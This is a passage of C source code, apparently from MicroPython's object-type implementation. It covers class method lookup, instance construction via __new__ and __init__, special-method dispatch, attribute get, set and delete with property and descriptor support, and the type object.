*last_native_base = type;\n            return count + 1;\n        } else if (type->parent == NULL) {\n            // No parents so end search here.\n            return count;\n        } else if (((mp_obj_base_t*)type->parent)->type == &mp_type_tuple) {\n            // Multiple parents, search through them all recursively.\n            const mp_obj_tuple_t *parent_tuple = type->parent;\n            const mp_obj_t *item = parent_tuple->items;\n            const mp_obj_t *top = item + parent_tuple->len;\n            for (; item < top; ++item) {\n                assert(MP_OBJ_IS_TYPE(*item, &mp_type_type));\n                const mp_obj_type_t *bt = (const mp_obj_type_t *)MP_OBJ_TO_PTR(*item);\n                count += instance_count_native_bases(bt, last_native_base);\n            }\n            return count;\n        } else {\n            // A single parent, use iteration to continue the search.\n            type = type->parent;\n        }\n    }\n}\n\n// TODO\n// This implements depth-first left-to-right MRO, which is not compliant with Python3 MRO\n// http://python-history.blogspot.com/2010/06/method-resolution-order.html\n// https://www.python.org/download/releases/2.3/mro/\n//\n// will keep lookup->dest[0]'s value (should be MP_OBJ_NULL on invocation) if attribute\n// is not found\n// will set lookup->dest[0] to MP_OBJ_SENTINEL if special method was found in a native\n// type base via slot id (as specified by lookup->meth_offset). As there can be only one\n// native base, it's known that it applies to instance->subobj[0]. In most cases, we also\n// don't need to know which type it was - because instance->subobj[0] is of that type.\n// The only exception is when object is not yet constructed, then we need to know base\n// native type to construct its instance->subobj[0] from. But this case is handled via\n// instance_count_native_bases(), which returns a native base which it saw.\nstruct class_lookup_data {\n    mp_obj_instance_t *obj;\n    qstr attr;\n    size_t meth_offset;\n    mp_obj_t *dest;\n    bool is_type;\n};\n\nSTATIC void mp_obj_class_lookup(struct class_lookup_data  *lookup, const mp_obj_type_t *type) {\n    assert(lookup->dest[0] == MP_OBJ_NULL);\n    assert(lookup->dest[1] == MP_OBJ_NULL);\n    for (;;) {\n        // Optimize special method lookup for native types\n        // This avoids extra method_name => slot lookup. On the other hand,\n        // this should not be applied to class types, as will result in extra\n        // lookup either.\n        if (lookup->meth_offset != 0 && mp_obj_is_native_type(type)) {\n            if (*(void**)((char*)type + lookup->meth_offset) != NULL) {\n                DEBUG_printf(\"mp_obj_class_lookup: matched special meth slot for %s\\n\", qstr_str(lookup->attr));\n                lookup->dest[0] = MP_OBJ_SENTINEL;\n                return;\n            }\n        }\n\n        if (type->locals_dict != NULL) {\n            // search locals_dict (the set of methods/attributes)\n            assert(type->locals_dict->base.type == &mp_type_dict); // MicroPython restriction, for now\n            mp_map_t *locals_map = &type->locals_dict->map;\n            mp_map_elem_t *elem = mp_map_lookup(locals_map, MP_OBJ_NEW_QSTR(lookup->attr), MP_MAP_LOOKUP);\n            if (elem != NULL) {\n                if (lookup->is_type) {\n                    // If we look up a class method, we need to return original type for which we\n                    // do a lookup, not a (base) type in which we found the class method.\n                    const mp_obj_type_t *org_type = (const mp_obj_type_t*)lookup->obj;\n                    mp_convert_member_lookup(MP_OBJ_NULL, org_type, elem->value, lookup->dest);\n                } else {\n                    mp_obj_instance_t *obj = lookup->obj;\n                    mp_obj_t obj_obj;\n                    if (obj != NULL && mp_obj_is_native_type(type) && type != &mp_type_object /* object is not a real type */) {\n                        // If we're dealing with native base class, then it applies to native sub-object\n                        obj_obj = obj->subobj[0];\n                    } else {\n                        obj_obj = MP_OBJ_FROM_PTR(obj);\n                    }\n                    mp_convert_member_lookup(obj_obj, type, elem->value, lookup->dest);\n                }\n#if DEBUG_PRINT\n                printf(\"mp_obj_class_lookup: Returning: \");\n                mp_obj_print(lookup->dest[0], PRINT_REPR); printf(\" \");\n                mp_obj_print(lookup->dest[1], PRINT_REPR); printf(\"\\n\");\n#endif\n                return;\n            }\n        }\n\n        // Previous code block takes care about attributes defined in .locals_dict,\n        // but some attributes of native types may be handled using .load_attr method,\n        // so make sure we try to lookup those too.\n        if (lookup->obj != NULL && !lookup->is_type && mp_obj_is_native_type(type) && type != &mp_type_object /* object is not a real type */) {\n            mp_load_method_maybe(lookup->obj->subobj[0], lookup->attr, lookup->dest);\n            if (lookup->dest[0] != MP_OBJ_NULL) {\n                return;\n            }\n        }\n\n        // attribute not found, keep searching base classes\n\n        if (type->parent == NULL) {\n            return;\n        } else if (((mp_obj_base_t*)type->parent)->type == &mp_type_tuple) {\n            const mp_obj_tuple_t *parent_tuple = type->parent;\n            const mp_obj_t *item = parent_tuple->items;\n            const mp_obj_t *top = item + parent_tuple->len - 1;\n            for (; item < top; ++item) {\n                assert(MP_OBJ_IS_TYPE(*item, &mp_type_type));\n                mp_obj_type_t *bt = (mp_obj_type_t*)MP_OBJ_TO_PTR(*item);\n                if (bt == &mp_type_object) {\n                    // Not a \"real\" type\n                    continue;\n                }\n                mp_obj_class_lookup(lookup, bt);\n                if (lookup->dest[0] != MP_OBJ_NULL) {\n                    return;\n                }\n            }\n\n            // search last base (simple tail recursion elimination)\n            assert(MP_OBJ_IS_TYPE(*item, &mp_type_type));\n            type = (mp_obj_type_t*)MP_OBJ_TO_PTR(*item);\n        } else {\n            type = type->parent;\n        }\n        if (type == &mp_type_object) {\n            // Not a \"real\" type\n            return;\n        }\n    }\n}\n\nSTATIC void instance_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) {\n    mp_obj_instance_t *self = MP_OBJ_TO_PTR(self_in);\n    qstr meth = (kind == PRINT_STR) ? MP_QSTR___str__ : MP_QSTR___repr__;\n    mp_obj_t member[2] = {MP_OBJ_NULL};\n    struct class_lookup_data lookup = {\n        .obj = self,\n        .attr = meth,\n        .meth_offset = offsetof(mp_obj_type_t, print),\n        .dest = member,\n        .is_type = false,\n    };\n    mp_obj_class_lookup(&lookup, self->base.type);\n    if (member[0] == MP_OBJ_NULL && kind == PRINT_STR) {\n        // If there's no __str__, fall back to __repr__\n        lookup.attr = MP_QSTR___repr__;\n        lookup.meth_offset = 0;\n        mp_obj_class_lookup(&lookup, self->base.type);\n    }\n\n    if (member[0] == MP_OBJ_SENTINEL) {\n        // Handle Exception subclasses specially\n        if (mp_obj_is_native_exception_instance(self->subobj[0])) {\n            if (kind != PRINT_STR) {\n                mp_print_str(print, qstr_str(self->base.type->name));\n            }\n            mp_obj_print_helper(print, self->subobj[0], kind | PRINT_EXC_SUBCLASS);\n        } else {\n            mp_obj_print_helper(print, self->subobj[0], kind);\n        }\n        return;\n    }\n\n    if (member[0] != MP_OBJ_NULL) {\n        mp_obj_t r = mp_call_function_1(member[0], self_in);\n        mp_obj_print_helper(print, r, PRINT_STR);\n        return;\n    }\n\n    // TODO: CPython prints fully-qualified type name\n    mp_printf(print, \"<%s object at %p>\", mp_obj_get_type_str(self_in), self);\n}\n\nmp_obj_t mp_obj_instance_make_new(const mp_obj_type_t *self, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    assert(mp_obj_is_instance_type(self));\n\n    const mp_obj_type_t *native_base;\n    size_t num_native_bases = instance_count_native_bases(self, &native_base);\n    assert(num_native_bases < 2);\n\n    mp_obj_instance_t *o = MP_OBJ_TO_PTR(mp_obj_new_instance(self, num_native_bases));\n\n    // This executes only \"__new__\" part of obejection creation.\n    // TODO: This won't work will for classes with native bases.\n    // TODO: This is hack, should be resolved along the lines of\n    // https://github.com/micropython/micropython/issues/606#issuecomment-43685883\n    if (n_args == 1 && *args == MP_OBJ_SENTINEL) {\n        return MP_OBJ_FROM_PTR(o);\n    }\n\n    // look for __new__ function\n    mp_obj_t init_fn[2] = {MP_OBJ_NULL};\n    struct class_lookup_data lookup = {\n        .obj = NULL,\n        .attr = MP_QSTR___new__,\n        .meth_offset = offsetof(mp_obj_type_t, make_new),\n        .dest = init_fn,\n        .is_type = false,\n    };\n    mp_obj_class_lookup(&lookup, self);\n\n    mp_obj_t new_ret = MP_OBJ_FROM_PTR(o);\n    if (init_fn[0] == MP_OBJ_SENTINEL) {\n        // Native type's constructor is what wins - it gets all our arguments,\n        // and none Python classes are initialized at all.\n        o->subobj[0] = native_base->make_new(native_base, n_args, n_kw, args);\n    } else if (init_fn[0] != MP_OBJ_NULL) {\n        // now call Python class __new__ function with all args\n        if (n_args == 0 && n_kw == 0) {\n            mp_obj_t args2[1] = {MP_OBJ_FROM_PTR(self)};\n            new_ret = mp_call_function_n_kw(init_fn[0], 1, 0, args2);\n        } else {\n            mp_obj_t *args2 = m_new(mp_obj_t, 1 + n_args + 2 * n_kw);\n            args2[0] = MP_OBJ_FROM_PTR(self);\n            memcpy(args2 + 1, args, (n_args + 2 * n_kw) * sizeof(mp_obj_t));\n            new_ret = mp_call_function_n_kw(init_fn[0], n_args + 1, n_kw, args2);\n            m_del(mp_obj_t, args2, 1 + n_args + 2 * n_kw);\n        }\n\n    }\n\n    // https://docs.python.org/3.4/reference/datamodel.html#object.__new__\n    // \"If __new__() does not return an instance of cls, then the new instance's __init__() method will not be invoked.\"\n    if (mp_obj_get_type(new_ret) != self) {\n        return new_ret;\n    }\n\n    o = MP_OBJ_TO_PTR(new_ret);\n\n    // now call Python class __init__ function with all args\n    init_fn[0] = init_fn[1] = MP_OBJ_NULL;\n    lookup.obj = o;\n    lookup.attr = MP_QSTR___init__;\n    lookup.meth_offset = 0;\n    mp_obj_class_lookup(&lookup, self);\n    if (init_fn[0] != MP_OBJ_NULL) {\n        mp_obj_t init_ret;\n        if (n_args == 0 && n_kw == 0) {\n            init_ret = mp_call_method_n_kw(0, 0, init_fn);\n        } else {\n            mp_obj_t *args2 = m_new(mp_obj_t, 2 + n_args + 2 * n_kw);\n            args2[0] = init_fn[0];\n            args2[1] = init_fn[1];\n            memcpy(args2 + 2, args, (n_args + 2 * n_kw) * sizeof(mp_obj_t));\n            init_ret = mp_call_method_n_kw(n_args, n_kw, args2);\n            m_del(mp_obj_t, args2, 2 + n_args + 2 * n_kw);\n        }\n        if (init_ret != mp_const_none) {\n            if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n                mp_raise_TypeError(\"__init__() should return None\");\n            } else {\n                nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n                    \"__init__() should return None, not '%s'\", mp_obj_get_type_str(init_ret)));\n            }\n        }\n\n    }\n\n    return MP_OBJ_FROM_PTR(o);\n}\n\nconst qstr mp_unary_op_method_name[] = {\n    [MP_UNARY_OP_BOOL] = MP_QSTR___bool__,\n    [MP_UNARY_OP_LEN] = MP_QSTR___len__,\n    [MP_UNARY_OP_HASH] = MP_QSTR___hash__,\n    #if MICROPY_PY_ALL_SPECIAL_METHODS\n    [MP_UNARY_OP_POSITIVE] = MP_QSTR___pos__,\n    [MP_UNARY_OP_NEGATIVE] = MP_QSTR___neg__,\n    [MP_UNARY_OP_INVERT] = MP_QSTR___invert__,\n    #endif\n    #if MICROPY_PY_SYS_GETSIZEOF\n    [MP_UNARY_OP_SIZEOF] = MP_QSTR_getsizeof,\n    #endif\n    [MP_UNARY_OP_NOT] = MP_QSTR_, // don't need to implement this, used to make sure array has full size\n};\n\nSTATIC mp_obj_t instance_unary_op(mp_uint_t op, mp_obj_t self_in) {\n    mp_obj_instance_t *self = MP_OBJ_TO_PTR(self_in);\n\n    #if MICROPY_PY_SYS_GETSIZEOF\n    if (MP_UNLIKELY(op == MP_UNARY_OP_SIZEOF)) {\n        // TODO: This doesn't count inherited objects (self->subobj)\n        const mp_obj_type_t *native_base;\n        size_t num_native_bases = instance_count_native_bases(mp_obj_get_type(self_in), &native_base);\n\n        size_t sz = sizeof(*self) + sizeof(*self->subobj) * num_native_bases\n            + sizeof(*self->members.table) * self->members.alloc;\n        return MP_OBJ_NEW_SMALL_INT(sz);\n    }\n    #endif\n\n    qstr op_name = mp_unary_op_method_name[op];\n    /* Still try to lookup native slot\n    if (op_name == 0) {\n        return MP_OBJ_NULL;\n    }\n    */\n    mp_obj_t member[2] = {MP_OBJ_NULL};\n    struct class_lookup_data lookup = {\n        .obj = self,\n        .attr = op_name,\n        .meth_offset = offsetof(mp_obj_type_t, unary_op),\n        .dest = member,\n        .is_type = false,\n    };\n    mp_obj_class_lookup(&lookup, self->base.type);\n    if (member[0] == MP_OBJ_SENTINEL) {\n        return mp_unary_op(op, self->subobj[0]);\n    } else if (member[0] != MP_OBJ_NULL) {\n        mp_obj_t val = mp_call_function_1(member[0], self_in);\n        // __hash__ must return a small int\n        if (op == MP_UNARY_OP_HASH) {\n            val = MP_OBJ_NEW_SMALL_INT(mp_obj_get_int_truncated(val));\n        }\n        return val;\n    } else {\n        if (op == MP_UNARY_OP_HASH) {\n            lookup.attr = MP_QSTR___eq__;\n            mp_obj_class_lookup(&lookup, self->base.type);\n            if (member[0] == MP_OBJ_NULL) {\n                // https://docs.python.org/3/reference/datamodel.html#object.__hash__\n                // \"User-defined classes have __eq__() and __hash__() methods by default;\n                // with them, all objects compare unequal (except with themselves) and\n                // x.__hash__() returns an appropriate value such that x == y implies\n                // both that x is y and hash(x) == hash(y).\"\n                return MP_OBJ_NEW_SMALL_INT((mp_uint_t)self_in);\n            }\n            // \"A class that overrides __eq__() and does not define __hash__() will have its __hash__() implicitly set to None.\n            // When the __hash__() method of a class is None, instances of the class will raise an appropriate TypeError\"\n        }\n\n        return MP_OBJ_NULL; // op not supported\n    }\n}\n\nconst qstr mp_binary_op_method_name[] = {\n    /*\n    MP_BINARY_OP_OR,\n    MP_BINARY_OP_XOR,\n    MP_BINARY_OP_AND,\n    MP_BINARY_OP_LSHIFT,\n    MP_BINARY_OP_RSHIFT,\n    */\n    [MP_BINARY_OP_ADD] = MP_QSTR___add__,\n    [MP_BINARY_OP_SUBTRACT] = MP_QSTR___sub__,\n    #if MICROPY_PY_ALL_SPECIAL_METHODS\n    [MP_BINARY_OP_MULTIPLY] = MP_QSTR___mul__,\n    [MP_BINARY_OP_FLOOR_DIVIDE] = MP_QSTR___floordiv__,\n    [MP_BINARY_OP_TRUE_DIVIDE] = MP_QSTR___truediv__,\n    #endif\n    /*\n    MP_BINARY_OP_MODULO,\n    MP_BINARY_OP_POWER,\n    MP_BINARY_OP_DIVMOD,\n    MP_BINARY_OP_INPLACE_OR,\n    MP_BINARY_OP_INPLACE_XOR,\n    MP_BINARY_OP_INPLACE_AND,\n    MP_BINARY_OP_INPLACE_LSHIFT,\n    MP_BINARY_OP_INPLACE_RSHIFT,*/\n    #if MICROPY_PY_ALL_SPECIAL_METHODS\n    [MP_BINARY_OP_INPLACE_ADD] = MP_QSTR___iadd__,\n    [MP_BINARY_OP_INPLACE_SUBTRACT] = MP_QSTR___isub__,\n    #endif\n    /*MP_BINARY_OP_INPLACE_MULTIPLY,\n    MP_BINARY_OP_INPLACE_FLOOR_DIVIDE,\n    MP_BINARY_OP_INPLACE_TRUE_DIVIDE,\n    MP_BINARY_OP_INPLACE_MODULO,\n    MP_BINARY_OP_INPLACE_POWER,*/\n    [MP_BINARY_OP_LESS] = MP_QSTR___lt__,\n    [MP_BINARY_OP_MORE] = MP_QSTR___gt__,\n    [MP_BINARY_OP_EQUAL] = MP_QSTR___eq__,\n    [MP_BINARY_OP_LESS_EQUAL] = MP_QSTR___le__,\n    [MP_BINARY_OP_MORE_EQUAL] = MP_QSTR___ge__,\n    /*\n    MP_BINARY_OP_NOT_EQUAL, // a != b calls a == b and inverts result\n    */\n    [MP_BINARY_OP_IN] = MP_QSTR___contains__,\n    /*\n    MP_BINARY_OP_IS,\n    */\n    [MP_BINARY_OP_EXCEPTION_MATCH] = MP_QSTR_, // not implemented, used to make sure array has full size\n};\n\nSTATIC mp_obj_t instance_binary_op(mp_uint_t op, mp_obj_t lhs_in, mp_obj_t rhs_in) {\n    // Note: For ducktyping, CPython does not look in the instance members or use\n    // __getattr__ or __getattribute__.  It only looks in the class dictionary.\n    mp_obj_instance_t *lhs = MP_OBJ_TO_PTR(lhs_in);\n    qstr op_name = mp_binary_op_method_name[op];\n    /* Still try to lookup native slot\n    if (op_name == 0) {\n        return MP_OBJ_NULL;\n    }\n    */\n    mp_obj_t dest[3] = {MP_OBJ_NULL};\n    struct class_lookup_data lookup = {\n        .obj = lhs,\n        .attr = op_name,\n        .meth_offset = offsetof(mp_obj_type_t, binary_op),\n        .dest = dest,\n        .is_type = false,\n    };\n    mp_obj_class_lookup(&lookup, lhs->base.type);\n    if (dest[0] == MP_OBJ_SENTINEL) {\n        return mp_binary_op(op, lhs->subobj[0], rhs_in);\n    } else if (dest[0] != MP_OBJ_NULL) {\n        dest[2] = rhs_in;\n        return mp_call_method_n_kw(1, 0, dest);\n    } else {\n        return MP_OBJ_NULL; // op not supported\n    }\n}\n\nSTATIC void mp_obj_instance_load_attr(mp_obj_t self_in, qstr attr, mp_obj_t *dest) {\n    // logic: look in instance members then class locals\n    assert(mp_obj_is_instance_type(mp_obj_get_type(self_in)));\n    mp_obj_instance_t *self = MP_OBJ_TO_PTR(self_in);\n\n    mp_map_elem_t *elem = mp_map_lookup(&self->members, MP_OBJ_NEW_QSTR(attr), MP_MAP_LOOKUP);\n    if (elem != NULL) {\n        // object member, always treated as a value\n        // TODO should we check for properties?\n        dest[0] = elem->value;\n        return;\n    }\n#if MICROPY_CPYTHON_COMPAT\n    if (attr == MP_QSTR___dict__) {\n        // Create a new dict with a copy of the instance's map items.\n        // This creates, unlike CPython, a 'read-only' __dict__: modifying\n        // it will not result in modifications to the actual instance members.\n        mp_map_t *map = &self->members;\n        mp_obj_t attr_dict = mp_obj_new_dict(map->used);\n        for (size_t i = 0; i < map->alloc; ++i) {\n            if (MP_MAP_SLOT_IS_FILLED(map, i)) {\n                mp_obj_dict_store(attr_dict, map->table[i].key, map->table[i].value);\n            }\n        }\n        dest[0] = attr_dict;\n        return;\n    }\n#endif\n    struct class_lookup_data lookup = {\n        .obj = self,\n        .attr = attr,\n        .meth_offset = 0,\n        .dest = dest,\n        .is_type = false,\n    };\n    mp_obj_class_lookup(&lookup, self->base.type);\n    mp_obj_t member = dest[0];\n    if (member != MP_OBJ_NULL) {\n        #if MICROPY_PY_BUILTINS_PROPERTY\n        if (MP_OBJ_IS_TYPE(member, &mp_type_property)) {\n            // object member is a property; delegate the load to the property\n            // Note: This is an optimisation for code size and execution time.\n            // The proper way to do it is have the functionality just below\n            // in a __get__ method of the property object, and then it would\n            // be called by the descriptor code down below.  But that way\n            // requires overhead for the nested mp_call's and overhead for\n            // the code.\n            const mp_obj_t *proxy = mp_obj_property_get(member);\n            if (proxy[0] == mp_const_none) {\n                mp_raise_msg(&mp_type_AttributeError, \"unreadable attribute\");\n            } else {\n                dest[0] = mp_call_function_n_kw(proxy[0], 1, 0, &self_in);\n            }\n            return;\n        }\n        #endif\n\n        #if MICROPY_PY_DESCRIPTORS\n        // found a class attribute; if it has a __get__ method then call it with the\n        // class instance and class as arguments and return the result\n        // Note that this is functionally correct but very slow: each load_attr\n        // requires an extra mp_load_method_maybe to check for the __get__.\n        mp_obj_t attr_get_method[4];\n        mp_load_method_maybe(member, MP_QSTR___get__, attr_get_method);\n        if (attr_get_method[0] != MP_OBJ_NULL) {\n            attr_get_method[2] = self_in;\n            attr_get_method[3] = MP_OBJ_FROM_PTR(mp_obj_get_type(self_in));\n            dest[0] = mp_call_method_n_kw(2, 0, attr_get_method);\n        }\n        #endif\n        return;\n    }\n\n    // try __getattr__\n    if (attr != MP_QSTR___getattr__) {\n        #if MICROPY_PY_DELATTR_SETATTR\n        // If the requested attr is __setattr__/__delattr__ then don't delegate the lookup\n        // to __getattr__.  If we followed CPython's behaviour then __setattr__/__delattr__\n        // would have already been found in the \"object\" base class.\n        if (attr == MP_QSTR___setattr__ || attr == MP_QSTR___delattr__) {\n            return;\n        }\n        #endif\n\n        mp_obj_t dest2[3];\n        mp_load_method_maybe(self_in, MP_QSTR___getattr__, dest2);\n        if (dest2[0] != MP_OBJ_NULL) {\n            // __getattr__ exists, call it and return its result\n            // XXX if this fails to load the requested attr, should we catch the attribute error and return silently?\n            dest2[2] = MP_OBJ_NEW_QSTR(attr);\n            dest[0] = mp_call_method_n_kw(1, 0, dest2);\n            return;\n        }\n    }\n}\n\nSTATIC bool mp_obj_instance_store_attr(mp_obj_t self_in, qstr attr, mp_obj_t value) {\n    mp_obj_instance_t *self = MP_OBJ_TO_PTR(self_in);\n\n    #if MICROPY_PY_BUILTINS_PROPERTY || MICROPY_PY_DESCRIPTORS\n    // With property and/or descriptors enabled we need to do a lookup\n    // first in the class dict for the attribute to see if the store should\n    // be delegated.\n    // Note: this makes all stores slow... how to fix?\n    mp_obj_t member[2] = {MP_OBJ_NULL};\n    struct class_lookup_data lookup = {\n        .obj = self,\n        .attr = attr,\n        .meth_offset = 0,\n        .dest = member,\n        .is_type = false,\n    };\n    mp_obj_class_lookup(&lookup, self->base.type);\n\n    if (member[0] != MP_OBJ_NULL) {\n        #if MICROPY_PY_BUILTINS_PROPERTY\n        if (MP_OBJ_IS_TYPE(member[0], &mp_type_property)) {\n            // attribute exists and is a property; delegate the store/delete\n            // Note: This is an optimisation for code size and execution time.\n            // The proper way to do it is have the functionality just below in\n            // a __set__/__delete__ method of the property object, and then it\n            // would be called by the descriptor code down below.  But that way\n            // requires overhead for the nested mp_call's and overhead for\n            // the code.\n            const mp_obj_t *proxy = mp_obj_property_get(member[0]);\n            mp_obj_t dest[2] = {self_in, value};\n            if (value == MP_OBJ_NULL) {\n                // delete attribute\n                if (proxy[2] == mp_const_none) {\n                    // TODO better error message?\n                    return false;\n                } else {\n                    mp_call_function_n_kw(proxy[2], 1, 0, dest);\n                    return true;\n                }\n            } else {\n                // store attribute\n                if (proxy[1] == mp_const_none) {\n                    // TODO better error message?\n                    return false;\n                } else {\n                    mp_call_function_n_kw(proxy[1], 2, 0, dest);\n                    return true;\n                }\n            }\n        }\n        #endif\n\n        #if MICROPY_PY_DESCRIPTORS\n        // found a class attribute; if it has a __set__/__delete__ method then\n        // call it with the class instance (and value) as arguments\n        if (value == MP_OBJ_NULL) {\n            // delete attribute\n            mp_obj_t attr_delete_method[3];\n            mp_load_method_maybe(member[0], MP_QSTR___delete__, attr_delete_method);\n            if (attr_delete_method[0] != MP_OBJ_NULL) {\n                attr_delete_method[2] = self_in;\n                mp_call_method_n_kw(1, 0, attr_delete_method);\n                return true;\n            }\n        } else {\n            // store attribute\n            mp_obj_t attr_set_method[4];\n            mp_load_method_maybe(member[0], MP_QSTR___set__, attr_set_method);\n            if (attr_set_method[0] != MP_OBJ_NULL) {\n                attr_set_method[2] = self_in;\n                attr_set_method[3] = value;\n                mp_call_method_n_kw(2, 0, attr_set_method);\n                return true;\n            }\n        }\n        #endif\n    }\n    #endif\n\n    if (value == MP_OBJ_NULL) {\n        // delete attribute\n        #if MICROPY_PY_DELATTR_SETATTR\n        // try __delattr__ first\n        mp_obj_t attr_delattr_method[3];\n        mp_load_method_maybe(self_in, MP_QSTR___delattr__, attr_delattr_method);\n        if (attr_delattr_method[0] != MP_OBJ_NULL) {\n            // __delattr__ exists, so call it\n            attr_delattr_method[2] = MP_OBJ_NEW_QSTR(attr);\n            mp_call_method_n_kw(1, 0, attr_delattr_method);\n            return true;\n        }\n        #endif\n\n        mp_map_elem_t *elem = mp_map_lookup(&self->members, MP_OBJ_NEW_QSTR(attr), MP_MAP_LOOKUP_REMOVE_IF_FOUND);\n        return elem != NULL;\n    } else {\n        // store attribute\n        #if MICROPY_PY_DELATTR_SETATTR\n        // try __setattr__ first\n        mp_obj_t attr_setattr_method[4];\n        mp_load_method_maybe(self_in, MP_QSTR___setattr__, attr_setattr_method);\n        if (attr_setattr_method[0] != MP_OBJ_NULL) {\n            // __setattr__ exists, so call it\n            attr_setattr_method[2] = MP_OBJ_NEW_QSTR(attr);\n            attr_setattr_method[3] = value;\n            mp_call_method_n_kw(2, 0, attr_setattr_method);\n            return true;\n        }\n        #endif\n\n        mp_map_lookup(&self->members, MP_OBJ_NEW_QSTR(attr), MP_MAP_LOOKUP_ADD_IF_NOT_FOUND)->value = value;\n        return true;\n    }\n}\n\nvoid mp_obj_instance_attr(mp_obj_t self_in, qstr attr, mp_obj_t *dest) {\n    if (dest[0] == MP_OBJ_NULL) {\n        mp_obj_instance_load_attr(self_in, attr, dest);\n    } else {\n        if (mp_obj_instance_store_attr(self_in, attr, dest[1])) {\n            dest[0] = MP_OBJ_NULL; // indicate success\n        }\n    }\n}\n\nSTATIC mp_obj_t instance_subscr(mp_obj_t self_in, mp_obj_t index, mp_obj_t value) {\n    mp_obj_instance_t *self = MP_OBJ_TO_PTR(self_in);\n    mp_obj_t member[2] = {MP_OBJ_NULL};\n    struct class_lookup_data lookup = {\n        .obj = self,\n        .meth_offset = offsetof(mp_obj_type_t, subscr),\n        .dest = member,\n        .is_type = false,\n    };\n    size_t meth_args;\n    if (value == MP_OBJ_NULL) {\n        // delete item\n        lookup.attr = MP_QSTR___delitem__;\n        mp_obj_class_lookup(&lookup, self->base.type);\n        meth_args = 2;\n    } else if (value == MP_OBJ_SENTINEL) {\n        // load item\n        lookup.attr = MP_QSTR___getitem__;\n        mp_obj_class_lookup(&lookup, self->base.type);\n        meth_args = 2;\n    } else {\n        // store item\n        lookup.attr = MP_QSTR___setitem__;\n        mp_obj_class_lookup(&lookup, self->base.type);\n        meth_args = 3;\n    }\n    if (member[0] == MP_OBJ_SENTINEL) {\n        return mp_obj_subscr(self->subobj[0], index, value);\n    } else if (member[0] != MP_OBJ_NULL) {\n        mp_obj_t args[3] = {self_in, index, value};\n        // TODO probably need to call mp_convert_member_lookup, and use mp_call_method_n_kw\n        mp_obj_t ret = mp_call_function_n_kw(member[0], meth_args, 0, args);\n        if (value == MP_OBJ_SENTINEL) {\n            return ret;\n        } else {\n            return mp_const_none;\n        }\n    } else {\n        return MP_OBJ_NULL; // op not supported\n    }\n}\n\nSTATIC mp_obj_t mp_obj_instance_get_call(mp_obj_t self_in, mp_obj_t *member) {\n    mp_obj_instance_t *self = MP_OBJ_TO_PTR(self_in);\n    struct class_lookup_data lookup = {\n        .obj = self,\n        .attr = MP_QSTR___call__,\n        .meth_offset = offsetof(mp_obj_type_t, call),\n        .dest = member,\n        .is_type = false,\n    };\n    mp_obj_class_lookup(&lookup, self->base.type);\n    return member[0];\n}\n\nbool mp_obj_instance_is_callable(mp_obj_t self_in) {\n    mp_obj_t member[2] = {MP_OBJ_NULL, MP_OBJ_NULL};\n    return mp_obj_instance_get_call(self_in, member) != MP_OBJ_NULL;\n}\n\nmp_obj_t mp_obj_instance_call(mp_obj_t self_in, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    mp_obj_t member[2] = {MP_OBJ_NULL, MP_OBJ_NULL};\n    mp_obj_t call = mp_obj_instance_get_call(self_in, member);\n    if (call == MP_OBJ_NULL) {\n        if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n            mp_raise_TypeError(\"object not callable\");\n        } else {\n            nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n                \"'%s' object is not callable\", mp_obj_get_type_str(self_in)));\n        }\n    }\n    mp_obj_instance_t *self = MP_OBJ_TO_PTR(self_in);\n    if (call == MP_OBJ_SENTINEL) {\n        return mp_call_function_n_kw(self->subobj[0], n_args, n_kw, args);\n    }\n\n    return mp_call_method_self_n_kw(member[0], member[1], n_args, n_kw, args);\n}\n\nSTATIC mp_obj_t instance_getiter(mp_obj_t self_in, mp_obj_iter_buf_t *iter_buf) {\n    mp_obj_instance_t *self = MP_OBJ_TO_PTR(self_in);\n    mp_obj_t member[2] = {MP_OBJ_NULL};\n    struct class_lookup_data lookup = {\n        .obj = self,\n        .attr = MP_QSTR___iter__,\n        .meth_offset = offsetof(mp_obj_type_t, getiter),\n        .dest = member,\n        .is_type = false,\n    };\n    mp_obj_class_lookup(&lookup, self->base.type);\n    if (member[0] == MP_OBJ_NULL) {\n        return MP_OBJ_NULL;\n    } else if (member[0] == MP_OBJ_SENTINEL) {\n        mp_obj_type_t *type = mp_obj_get_type(self->subobj[0]);\n        return type->getiter(self->subobj[0], iter_buf);\n    } else {\n        return mp_call_method_n_kw(0, 0, member);\n    }\n}\n\nSTATIC mp_int_t instance_get_buffer(mp_obj_t self_in, mp_buffer_info_t *bufinfo, mp_uint_t flags) {\n    mp_obj_instance_t *self = MP_OBJ_TO_PTR(self_in);\n    mp_obj_t member[2] = {MP_OBJ_NULL};\n    struct class_lookup_data lookup = {\n        .obj = self,\n        .attr = MP_QSTR_, // don't actually look for a method\n        .meth_offset = offsetof(mp_obj_type_t, buffer_p.get_buffer),\n        .dest = member,\n        .is_type = false,\n    };\n    mp_obj_class_lookup(&lookup, self->base.type);\n    if (member[0] == MP_OBJ_SENTINEL) {\n        mp_obj_type_t *type = mp_obj_get_type(self->subobj[0]);\n        return type->buffer_p.get_buffer(self->subobj[0], bufinfo, flags);\n    } else {\n        return 1; // object does not support buffer protocol\n    }\n}\n\n/******************************************************************************/\n// type object\n//  - the struct is mp_obj_type_t and is defined in obj.h so const types can be made\n//  - there is a constant mp_obj_type_t (called mp_type_type) for the 'type' object\n//  - creating a new class (a new type) creates a new mp_obj_type_t\n\nSTATIC void type_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) {\n    (void)kind;\n    mp_obj_type_t *self = MP_OBJ_TO_PTR(self_in);\n    mp_printf(print, \"<class '%q'>\", self->name);\n}\n\nSTATIC mp_obj_t type_make_new(const mp_obj_type_t *type_in, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    (void)type_in;\n\n    mp_arg_check_num(n_args, n_kw, 1, 3, false);\n\n    switch (n_args) {\n        case 1:\n            return MP_OBJ_FROM_PTR(mp_obj_get_type(args[0]));\n\n        case 3:\n            // args[0] = name\n            // args[1] = bases tuple\n            // args[2] = locals dict\n            return mp_obj_new_type(mp_obj_str_get_qstr(args[0]), args[1], args[2]);\n\n        default:\n            mp_raise_TypeError(\"type takes 1 or 3 arguments\");\n    }\n}\n\nSTATIC mp_obj_t type_call(mp_obj_t self_in, size_t 